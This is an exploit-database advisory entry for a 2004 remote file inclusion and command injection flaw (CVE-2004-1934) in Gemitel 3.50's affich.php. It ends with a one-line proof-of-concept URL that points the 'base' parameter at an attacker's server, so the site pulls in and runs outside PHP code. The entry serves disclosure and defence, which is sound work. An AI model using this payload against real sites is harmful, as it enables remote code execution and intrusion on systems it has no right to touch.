Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection

Author: jaguar
type: webapps
platform: php
port: 
date_added: 2004-04-15  
date_updated: 2013-01-10  
verified: 1  
codes: CVE-2004-1934;OSVDB-5396  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 24009.txt  

source: https://www.securityfocus.com/bid/10156/info

A vulnerability has been identified in the handling of input by Gemitel. Because of this, it may be possible for a remote user to gain unauthorized access to a system using the vulnerable software.

It is possible to influence the include path of certain files, which could lead to an attacker including arbitrary PHP files from an external system.

http://www.example.com/[Gemitel folder]/html/affich.php?base=http://[your server]/